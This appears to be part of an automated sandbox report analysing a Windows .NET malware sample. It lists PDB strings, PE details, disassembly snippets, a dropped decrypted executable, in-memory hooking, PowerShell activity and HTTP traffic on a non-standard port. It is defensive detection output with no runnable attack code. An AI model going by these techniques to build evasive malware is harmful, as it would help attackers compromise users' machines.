Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Cryptography\Release\net7.0-windows\System.Security.Cryptography.pdb source: mDHwap5GlV.exe, 00000000.00000002.2594220011.000000000CBE1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2593821344.000000000CA20000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: Microsoft.CSharp.ni.pdb source: mDHwap5GlV.exe
Source:	Binary string: System.Collections.ni.pdb; lr source: mDHwap5GlV.exe, 00000000.00000002.2605844050.000000000D521000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2605777963.000000000D4D0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Collections.Concurrent.ni.pdb source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime\Release\net7.0\System.Runtime.pdb source: mDHwap5GlV.exe, 00000000.00000002.2582770722.0000000009AB0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Net.Sockets.ni.pdbp source: mDHwap5GlV.exe, 00000000.00000002.2610251919.000000000E1E0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2610536524.000000000E271000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Diagnostics.Process.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2607643100.000000000DDB0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2607711334.000000000DE01000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Console\Release\net7.0-windows\System.Console.pdb source: mDHwap5GlV.exe, mDHwap5GlV.exe, 00000000.00000002.2585865823.0000000009D10000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2583359508.0000000009AD1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Private.Uri.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2594641559.000000000CDAA000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2594814056.000000000CDF1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.AppContext\Release\net7.0\System.AppContext.pdb source: mDHwap5GlV.exe
Source:	Binary string: Microsoft.VisualBasic.Core.ni.pdb source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.DiagnosticSource\Release\net7.0\System.Diagnostics.DiagnosticSource.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2593385471.000000000C8A1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.ThreadPool\Release\net7.0\System.Threading.ThreadPool.pdb source: mDHwap5GlV.exe, 00000000.00000002.2607545242.000000000DD80000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2595889586.000000000D010000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Primitives\Release\net7.0\Microsoft.Win32.Primitives.pdbSHA256 source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Security\Release\net7.0-windows\System.Net.Security.pdbSHA256S source: mDHwap5GlV.exe, 00000000.00000002.2593612711.000000000C991000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2593507496.000000000C900000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Private.Uri\Release\net7.0\System.Private.Uri.pdb source: mDHwap5GlV.exe, 00000000.00000002.2594641559.000000000CDAA000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2594814056.000000000CDF1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Linq.Expressions.ni.pdb source: mDHwap5GlV.exe, mDHwap5GlV.exe, 00000000.00000002.2586676294.000000000A3E1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2586356950.000000000A070000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Sockets\Release\net7.0-windows\System.Net.Sockets.pdb source: mDHwap5GlV.exe, 00000000.00000002.2610251919.000000000E1E0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2610536524.000000000E271000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.UnmanagedMemoryStream\Release\net7.0\System.IO.UnmanagedMemoryStream.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2586356950.000000000A070000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Configuration/Release/net7.0-windows/System.Configuration.pdb source: mDHwap5GlV.exe, 00000000.00000002.2585865823.0000000009D10000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Security\Release\net7.0-windows\System.Net.Security.pdb source: mDHwap5GlV.exe, 00000000.00000002.2593612711.000000000C991000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2593507496.000000000C900000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Memory.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2604929693.000000000D481000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2604788493.000000000D440000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Net.Quic.ni.pdb,3 source: mDHwap5GlV.exe, 00000000.00000002.2607352936.000000000DCF0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2607441531.000000000DD41000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Encoding.Extensions\Release\net7.0\System.Text.Encoding.Extensions.pdb source: mDHwap5GlV.exe, 00000000.00000002.2608346084.000000000DE60000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Overlapped\Release\net7.0\System.Threading.Overlapped.pdb source: mDHwap5GlV.exe, 00000000.00000002.2611810679.000000000E300000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\windows.x86.Release\Corehost.Static\singlefilehost.pdb source: mDHwap5GlV.exe
Source:	Binary string: System.Security.Cryptography.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2594220011.000000000CBE1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2593821344.000000000CA20000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Contracts\Release\net7.0\System.Diagnostics.Contracts.pdbSHA256_O source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Diagnostics.Process.ni.pdb]:K source: mDHwap5GlV.exe, 00000000.00000002.2607643100.000000000DDB0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2607711334.000000000DE01000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Primitives\Release\net7.0-windows\System.Net.Primitives.pdb source: mDHwap5GlV.exe, mDHwap5GlV.exe, 00000000.00000002.2583501518.0000000009B20000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2583583075.0000000009B61000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.InteropServices.RuntimeInformation\Release\net7.0\System.Runtime.InteropServices.RuntimeInformation.pdb source: mDHwap5GlV.exe, 00000000.00000002.2604580772.000000000D410000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Cryptography.X509Certificates\Release\net7.0\System.Security.Cryptography.X509Certificates.pdb source: mDHwap5GlV.exe, 00000000.00000002.2593821344.000000000CA20000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Runtime.InteropServices.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2604580772.000000000D410000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2604677499.000000000D431000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Cryptography.X509Certificates\Release\net7.0\System.Security.Cryptography.X509Certificates.pdbSHA256B source: mDHwap5GlV.exe, 00000000.00000002.2593821344.000000000CA20000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net6.0/Newtonsoft.Json.pdbSHA256(s source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.ServicePoint\Release\net7.0\System.Net.ServicePoint.pdb source: mDHwap5GlV.exe, 00000000.00000002.2610251919.000000000E1E0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Primitives\Release\net7.0-windows\System.Net.Primitives.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2583501518.0000000009B20000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2583583075.0000000009B61000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq\Release\net7.0\System.Linq.pdb source: mDHwap5GlV.exe, 00000000.00000002.2587665887.000000000A930000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2587777590.000000000A9B1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Registry\Release\net7.0-windows\Microsoft.Win32.Registry.pdb source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Buffers\Release\net7.0\System.Buffers.pdbSHA256 source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq.Expressions\Release\net7.0\System.Linq.Expressions.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2586676294.000000000A3E1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2586356950.000000000A070000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Management/Release/net7.0-windows/System.Management.pdbSHA256A) source: mDHwap5GlV.exe, 00000000.00000002.2609096644.000000000DEF0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Console.ni.pdb source: mDHwap5GlV.exe, mDHwap5GlV.exe, 00000000.00000002.2585865823.0000000009D10000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2583359508.0000000009AD1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Debug\Release\net7.0\System.Diagnostics.Debug.pdb source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.CodeDom/Release/net7.0/System.CodeDom.pdbSHA256 ] source: mDHwap5GlV.exe, 00000000.00000002.2609096644.000000000DEF0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Net.Http.ni.pdb source: mDHwap5GlV.exe, mDHwap5GlV.exe, 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2585894979.0000000009D40000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Primitives\Release\net7.0\Microsoft.Win32.Primitives.pdb source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.ThreadPool\Release\net7.0\System.Threading.ThreadPool.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2607545242.000000000DD80000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2595889586.000000000D010000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Http\Release\net7.0-windows\System.Net.Http.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2585894979.0000000009D40000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Encoding.Extensions\Release\net7.0\System.Text.Encoding.Extensions.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2608346084.000000000DE60000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Thread\Release\net7.0\System.Threading.Thread.pdb source: mDHwap5GlV.exe, 00000000.00000002.2607545242.000000000DD80000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2609058208.000000000DEE0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2595889586.000000000D010000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Http\Release\net7.0-windows\System.Net.Http.pdb source: mDHwap5GlV.exe, mDHwap5GlV.exe, 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2585894979.0000000009D40000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Net.Primitives.ni.pdb source: mDHwap5GlV.exe, mDHwap5GlV.exe, 00000000.00000002.2583501518.0000000009B20000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2583583075.0000000009B61000.00000020.00000001.00040000.00000003.sdmp

Source: mDHwap5GlV.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: mDHwap5GlV.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: mDHwap5GlV.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: mDHwap5GlV.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: mDHwap5GlV.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: decrypted_app_1.exe.0.dr

Static PE information: real checksum: 0x7291ff should be: 0x784364

Source: mDHwap5GlV.exe	Static PE information: section name: .CLR_UEF
Source: mDHwap5GlV.exe	Static PE information: section name: .didat
Source: mDHwap5GlV.exe	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09B6319D push ebp; iretd	0_2_09B6319E
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09B62CD1 pushfd ; iretd	0_2_09B62CD5
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09B63475 push es; iretd	0_2_09B63476
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09B627B9 push ss; iretd	0_2_09B627BA
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09B62358 push esi; iretd	0_2_09B62361
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09B63759 pushfd ; iretd	0_2_09B6375A
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_09EE4C47 push cx; ret	0_2_09EE4C88
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Code function: 0_2_0A3E7B4B push FFFFFFB1h; iretd	0_2_0A3E7B5E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_046811AD push esp; ret	4_2_046811C1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_04680AB7 push ebp; ret	4_2_04680AC2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_04680B31 push esi; ret	4_2_04680B32
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03001BB8 push eax; ret	7_2_03001C0C
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03001BE9 push eax; ret	7_2_03001C0C
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_0300721D push ecx; ret	7_2_03007230
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03005283 push dword ptr [esp+34h]; retn 0038h	7_2_0300527D
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03001287 pushad ; ret	7_2_03001288
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03001128 pushfd ; mov dword ptr [esp], eax	7_2_03001116
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03005016 push eax; ret	7_2_03005037
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_030010CE pushfd ; mov dword ptr [esp], eax	7_2_03001116
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_030010E7 pushfd ; mov dword ptr [esp], eax	7_2_03001116
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03002E4A pushad ; ret	7_2_03002E02
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03002EAF pushad ; ret	7_2_03002EB1
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03004EFC push eax; ret	7_2_03004F5C
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03001529 pushad ; ret	7_2_0300152D
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03004D2A push eax; ret	7_2_03004D36
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03004D51 push eax; ret	7_2_03004D55
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03002D76 pushad ; ret	7_2_03002E02
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03002D7D pushad ; ret	7_2_03002E02
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03001D8A push eax; ret	7_2_03001DAC
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03002DA4 pushad ; ret	7_2_03002E02
Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe	Code function: 7_2_03002DAB pushad ; ret	7_2_03002E02

Source: C:\Users\user\Desktop\mDHwap5GlV.exe

File created: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe

Memory written: PID: 3732 base: 76F02EC0 value: E9 3B D1 FB 8B

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 8397
Source: unknown	Network traffic detected: HTTP traffic on port 8397 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 8397
Source: unknown	Network traffic detected: HTTP traffic on port 8397 -> 49805

Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mDHwap5GlV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
